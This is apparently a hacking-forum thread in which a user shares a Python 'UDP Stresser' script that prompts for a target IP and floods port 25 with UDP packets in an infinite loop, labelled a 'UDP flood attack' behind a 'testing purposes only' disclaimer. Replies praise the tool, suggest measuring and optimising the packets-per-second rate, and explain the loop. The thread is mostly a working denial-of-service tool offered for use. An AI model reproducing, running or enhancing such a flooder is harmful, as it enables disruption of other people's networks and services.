Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

UDP Stresser-UDP DOS tool coded in Python

Hello,after learning Python and socket programming in Python,I coded this UDP flooder script:

Code
#!usr/bin/env python

import os
import sys
import socket

print "UDP Stresser-Coded by John12"
print "This tool is developed for testing purposes only,I am not responsible for your actions using it"
print "Ok,lets have some fun"

UDP_IP = raw_input("Enter target IP: ")
UDP_PORT = 25
MESSAGE = raw_input("Message to send: ")

print "Initiating UDP flood attack against %s on port %s" % (UDP_IP, UDP_PORT)

sent = 0

while True:

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(MESSAGE, (UDP_IP, UDP_PORT))
    sent = sent + 1
    print "Sent %s UDP packets against %s on port %s" % (sent, UDP_IP, UDP_PORT)

This tool is developed for testing purposes only,I am not responsible for your actions.
Nice script, someone not to long ago released a script like this, he was using sock_stream and called it a UDP flooder.

If you are just starting off in networking let me be the first to point you to py-pcap/py-dpkt or even scrappy. You can pull off and put on packets straight from the network tap. #lawl

example:
Spoiler (Click to View)
Thanks for the code.

My code actually starts n infinite loop sending UDP packets to a target.
(Feb 25, 2015 10:46 PM)john12 Wrote:  Thanks for the code.

My code actually starts n infinite loop sending UDP packets to a target.

Yeah I saw that,nice. For shits in giggles you should see what the max % of packets you can send per sec. Then you can try to speed it up with optimizing tricks etc if you wanted.

when I started network programming the first thing I got interested in was IDS/IPS.

semi working Intrusion prevention System
Spoiler (Click to View)
nice and simple and really educational coding ,keep it up and thanks for the UDP floader


but i really wish that you translate the final codes beginning with While True ,so we can understand it better ,and thanks in advance
the While True starts an infinite loop sending UDP packets to the target.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by Bass_ReevesAug 20, 2023 01:44 AM 9 632 Aug 20, 2023 01:44 AM
Last Post: Lucky4L
[Python] by T i e rMar 13, 2021 11:46 PM 0 183 Mar 13, 2021 11:46 PM
Last Post: T i e r
[Python] by Bane PopaMar 13, 2020 09:49 PM 5 228 Mar 13, 2020 09:49 PM
Last Post: Nulla Misericordia